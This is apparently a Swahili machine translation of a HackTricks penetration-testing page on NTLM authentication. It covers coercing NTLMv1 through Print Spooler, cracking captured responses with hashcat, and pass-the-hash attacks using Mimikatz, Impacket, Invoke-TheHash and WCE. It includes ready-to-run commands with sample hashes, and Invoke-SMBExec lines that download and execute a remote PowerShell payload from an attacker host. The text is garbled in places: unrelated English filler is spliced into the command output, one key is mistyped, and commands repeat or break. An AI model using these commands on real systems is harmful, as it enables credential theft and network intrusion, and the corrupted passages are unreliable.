Swahili - Ht
HackTricks Training Twitter Linkedin Sponsor

NTLM

NTLM

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Taarifa Msingi

Katika mazingira ambapo Windows XP na Server 2003 zinatumika, hash za LM (Lan Manager) hutumiwa, ingawa inatambulika kwa kiasi kikubwa kwamba hizi zinaweza kudukuliwa kwa urahisi. Hash maalum ya LM, AAD3B435B51404EEAAD3B435B51404EE, inaonyesha hali ambapo LM haijatumika, ikionyesha hash kwa herufi tupu.

Kwa chaguo-msingi, itifaki ya uwathibitishaji ya Kerberos ndiyo njia kuu inayotumiwa. NTLM (NT LAN Manager) huingilia kati chini ya hali maalum: kutokuwepo kwa Active Directory, kutokuwepo kwa uwanja, kushindwa kwa Kerberos kutokana na usanidi usio sahihi, au wakati mwingine unapojaribu kuunganisha kutumia anwani ya IP badala ya jina la mwenyeji halali.

Kuwepo kwa kichwa cha "NTLMSSP" katika pakiti za mtandao hufanya mchakato wa uwathibitishaji wa NTLM uweze kubainika.

Msaada kwa itifaki za uwathibitishaji - LM, NTLMv1, na NTLMv2 - unawezeshwa na DLL maalum iliyoko kwenye %windir%\Windows\System32\msv1\_0.dll.

Muhimu:

  • Hash za LM ni dhaifu na hash tupu ya LM (AAD3B435B51404EEAAD3B435B51404EE) inaonyesha kutofautiana kwake.

  • Kerberos ndiyo njia ya msingi ya uwathibitishaji, na NTLM hutumiwa tu chini ya hali fulani.

  • Pakiti za uwathibitishaji za NTLM zinaweza kutambulika kwa kichwa cha "NTLMSSP".

  • Itifaki za LM, NTLMv1, na NTLMv2 zinasaidiwa na faili ya mfumo msv1\_0.dll.

LM, NTLMv1 na NTLMv2

Unaweza kuangalia na kurekebisha itifaki itakayotumiwa:

GUI

Tekeleza secpol.msc -> Sera za Lokali -> Chaguo za Usalama -> Usalama wa Mtandao: Kiwango cha Uthibitishaji wa LAN Manager. Kuna viwango 6 (kutoka 0 hadi 5).

Usajili

Hii itaweka kiwango cha 5:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

Inawezekana kwa thamani zifuatazo:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

Mpango wa msingi wa uthibitishaji wa Domain wa NTLM

  1. Mtumiaji anaingiza mikopo yake

  2. Mashine ya mteja inatuma ombi la uthibitisho likituma jina la uwanja na jina la mtumiaji

  3. Server inatuma changamoto

  4. Mteja anachafua changamoto kwa kutumia hash ya nenosiri kama ufunguo na kuituma kama jibu

  5. Server inatuma kwa Msimamizi wa Domain jina la uwanja, jina la mtumiaji, changamoto na jibu. Ikiwa Hakuna Directory ya Active iliyowekwa au jina la uwanja ni jina la server, mikopo inaangaliwa kitaifa.

  6. Msimamizi wa Domain anathibitisha kila kitu na kutuma habari kwa server

Server na Msimamizi wa Domain wanaweza kuunda Channel Salama kupitia Netlogon server kwani Msimamizi wa Domain anajua nenosiri la server (ipo ndani ya db ya NTDS.DIT).

Mpango wa uthibitishaji wa NTLM wa Kitaifa

Uthibitishaji ni kama ule uliotajwa hapo awali lakini server anajua hash ya mtumiaji anayejaribu kuthibitisha ndani ya faili ya SAM. Kwa hivyo, badala ya kuuliza Msimamizi wa Domain, server itajichunguza ikiwa mtumiaji anaweza kuthibitisha.

Changamoto ya NTLMv1

Urefu wa changamoto ni 8 baiti na jibu ni mrefu wa baiti 24.

Hash NT (16baiti) imegawanywa katika sehemu 3 za baiti 7 kila moja (7B + 7B + (2B+0x00*5)): sehemu ya mwisho imejazwa na sifuri. Kisha, changamoto inachifua kwa kujitegemea na kila sehemu na baiti zilizochifua zinajumuishwa. Jumla: 8B + 8B + 8B = 24Baiti.

Matatizo:

  • Ukosefu wa kutofautisha

  • Sehemu 3 zinaweza kushambuliwa kwa kujitegemea ili kupata hash ya NT

  • DES inaweza kuvunjwa

  • Ufunguo wa 3 ni kawaida na sifuri tano.

  • Kwa kutolewa changamoto ile ile jibu litakuwa lile lile. Kwa hivyo, unaweza kumpa mhanga changamoto ya herufi "1122334455667788" na kushambulia jibu lililotumika kwa kutumia meza za mvua zilizopangwa mapema.

Shambulio la NTLMv1

Siku hizi inazidi kuwa nadra kupata mazingira yaliyo na Unconstrained Delegation iliyowekwa, lakini hii haimaanishi huwezi kutumia huduma ya Print Spooler iliyowekwa.

Unaweza kutumia mikopo/majisafi fulani uliyonayo tayari kwenye AD kuomba printer kuthibitisha dhidi ya mwenyeji chini ya udhibiti wako. Kisha, kwa kutumia metasploit auxiliary/server/capture/smb au responder unaweza kuweka changamoto ya uthibitisho kuwa 1122334455667788, kukamata jaribio la uthibitisho, na ikiwa ilifanywa kwa kutumia NTLMv1 utaweza kuvunja. Ikiwa unatumia responder unaweza kujaribu **kutumia bendera --lm ** kujaribu kudhoofisha uthibitisho. Tafadhali kumbuka kwamba kwa mbinu hii uthibitisho lazima ufanyike kwa kutumia NTLMv1 (NTLMv2 sio halali).

Kumbuka kwamba printer itatumia akaunti ya kompyuta wakati wa uthibitisho, na akaunti za kompyuta hutumia nenosiri ndefu na la kutofautisha ambalo labda hautaweza kuvunja kwa kutumia kamusi za kawaida. Lakini uthibitisho wa NTLMv1 unatumia DES (maelezo zaidi hapa), kwa hivyo kutumia huduma fulani zilizotengwa kwa kuvunja DES utaweza kuvunja (unaweza kutumia https://crack.sh/ kwa mfano).

Shambulio la NTLMv1 kwa hashcat

NTLMv1 pia inaweza kuvunjwa na NTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multi ambayo inaandaa ujumbe wa NTLMv1 kwa njia ambayo inaweza kuvunjwa na hashcat.

Amri

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM

Overview

NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. It is commonly used for single sign-on and is the default authentication protocol in Windows environments.

NTLM Hash

The NTLM hash is a cryptographic hash used in the NTLM authentication protocol. It is generated by using a cryptographic hash function on the user's password. The hash is used to authenticate users without sending their actual password over the network.

NTLM Relay Attack

An NTLM relay attack is a type of attack where an attacker intercepts the NTLM authentication process and relays it to a target server to gain unauthorized access. This attack can be mitigated by implementing secure authentication mechanisms and protocols.

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

NTLM Relay Attack

Introduction

In a Windows environment, NTLM (NT LAN Manager) is a suite of security protocols used for authentication. NTLM relay attack is a common technique used by hackers to capture and relay NTLM authentication traffic to gain unauthorized access to a target system.

How it works

  1. The attacker intercepts NTLM authentication traffic between a client and a server.

  2. The attacker relays the captured authentication to another system, tricking it into thinking the attacker is the legitimate user.

  3. If successful, the attacker can access the target system using the compromised user's credentials.

Mitigation

To prevent NTLM relay attacks, consider implementing the following measures:

  • Enforce SMB Signing: Require SMB signing to prevent tampering with authentication traffic.

  • Use LDAP Signing: Enable LDAP signing to protect against relay attacks on LDAP traffic.

  • Enable Extended Protection for Authentication: Helps protect against NTLM relay attacks by requiring stronger authentication.

By implementing these measures, you can significantly reduce the risk of falling victim to NTLM relay attacks.

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

Chalisha hashcat (ugawanyaji bora kupitia chombo kama hashtopolis) kwani hii itachukua siku kadhaa vinginevyo.

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Katika kesi hii tunajua nywila ya hii ni nywila kwa hivyo tutacheza kwa madhumuni ya demo:

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

Tunahitaji sasa kutumia zana za hashcat-utilities kubadilisha funguo zilizovunjika za des kuwa sehemu za hash ya NTLM:

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

Hatimaye sehemu ya mwisho:

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM

Windows Hardening

NTLM

NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. It is widely used in Windows environments for authentication purposes.

Risks

NTLM has several security vulnerabilities that can be exploited by attackers to compromise the security of a system. These vulnerabilities include relay attacks, brute force attacks, and pass-the-hash attacks.

Best Practices

To mitigate the risks associated with NTLM, it is recommended to disable NTLMv1, enable NTLMv2, and enforce the use of strong passwords. Additionally, implementing multi-factor authentication and regularly updating systems can enhance security.

Tools

Various tools are available to test the security of NTLM implementations, such as Mimikatz, Responder, and CrackMapExec. These tools can help identify weaknesses in the NTLM configuration and assist in hardening the system against potential attacks.

Conclusion

Securing NTLM implementations is crucial to maintaining the overall security of a Windows environment. By following best practices and regularly testing for vulnerabilities, organizations can strengthen their defenses against malicious actors.

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

Changamoto ya NTLMv2

Urefu wa changamoto ni herufi 8 na majibu 2 hutumwa: Moja ni urefu wa herufi 24 na urefu wa lingine ni tofauti.

Jibu la kwanza hujengwa kwa kuchifra kutumia HMAC_MD5 mnyororo ulioundwa na mteja na uwanja na kutumia kama funguo hash MD4 ya hash ya NT. Kisha, matokeo yatatumiwa kama funguo kuchifra kutumia HMAC_MD5 changamoto. Kwa hili, changamoto ya mteja ya herufi 8 itaongezwa. Jumla: 24 B.

Jibu la pili hujengwa kwa kutumia thamani kadhaa (changamoto mpya ya mteja, muda ili kuepuka mashambulizi ya kurudia...)

Ikiwa una pcap ambayo imekamata mchakato wa uthibitishaji uliofanikiwa, unaweza kufuata mwongozo huu kupata uwanja, jina la mtumiaji, changamoto na jibu na kujaribu kuvunja nenosiri: https://research.801labs.org/cracking-an-ntlmv2-hash/

Pita Hash

Maranyingi unapokuwa na hash ya mhanga, unaweza kutumia kuiiga. Unahitaji kutumia zana itakayofanya uthibitishaji wa NTLM kutumia hash hiyo, au unaweza kuunda sessionlogon mpya na kuingiza hash hiyo ndani ya LSASS, hivyo wakati wowote uthibitishaji wa NTLM unafanywa, hash hiyo itatumika. Chaguo la mwisho ndilo linalofanywa na mimikatz.

Tafadhali, kumbuka unaweza kufanya mashambulizi ya Pita Hash pia kwa kutumia akaunti za Kompyuta.

Mimikatz

Inahitaji kuendeshwa kama msimamizi

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

Hii itazindua mchakato ambao utamilikiwa na watumiaji ambao wamezindua mimikatz lakini ndani ya LSASS nywila zilizohifadhiwa ni zile zilizo ndani ya paramita za mimikatz. Kisha, unaweza kupata ufikiaji wa rasilimali za mtandao kana kwamba wewe ni mtumiaji huyo (kama runas /netonly lakini hauitaji kujua nywila ya maandishi wazi).

Pass-the-Hash kutoka linux

Unaweza kupata utekelezaji wa nambari kwenye mashine za Windows ukitumia Pass-the-Hash kutoka Linux. Pata hapa kujifunza jinsi ya kufanya hivyo.

Zana zilizokusanywa za Impacket kwa Windows

Unaweza kupakua binari za impacket kwa Windows hapa.

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local

  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local

  • atexec.exe (Katika kesi hii unahitaji kutaja amri, cmd.exe na powershell.exe sio halali kupata kabati la mwingiliano)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'

  • Kuna binari zingine za Impacket...

Kuita-TheHash

Unaweza kupata skripti za powershell hapa: https://github.com/Kevin-Robertson/Invoke-TheHash

Kuita-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Kuita-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Kuita-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Kuita-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Kuita-Hash

Kazi hii ni mchanganyiko wa zingine zote. Unaweza kupitisha wenyeji kadhaa, kutoa wengine na kuchagua chaguo unalotaka kutumia (SMBExec, WMIExec, SMBClient, SMBEnum). Ikiwa unachagua yoyote ya SMBExec na WMIExec lakini haujatoa _Parameter ya Amri yoyote itaangalia tu ikiwa una idhini za kutosha.

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM Pass the Hash

Mhariri wa Vitambulisho vya Windows (WCE)

Inahitaji kukimbia kama msimamizi

Chombo hiki kitafanya kitu sawa na mimikatz (kurekebisha kumbukumbu ya LSASS).

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

Utekelezaji wa mbali wa Windows kwa kutumia jina la mtumiaji na nenosiri

pageLateral Movement

Kuchimbua siri kutoka kwa Mwenyeji wa Windows

Kwa maelezo zaidi kuhusu jinsi ya kupata siri kutoka kwa mwenyeji wa Windows unapaswa kusoma ukurasa huu.

NTLM Relay na Responder

Soma mwongozo kamili zaidi kuhusu jinsi ya kufanya mashambulizi hayo hapa:

pageSpoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Kupasua changamoto za NTLM kutoka kwa kufuatilia mtandao

Unaweza kutumia https://github.com/mlgualtieri/NTLMRawUnHide

PreviousUAC - User Account ControlNextPlaces to steal NTLM creds

Last updated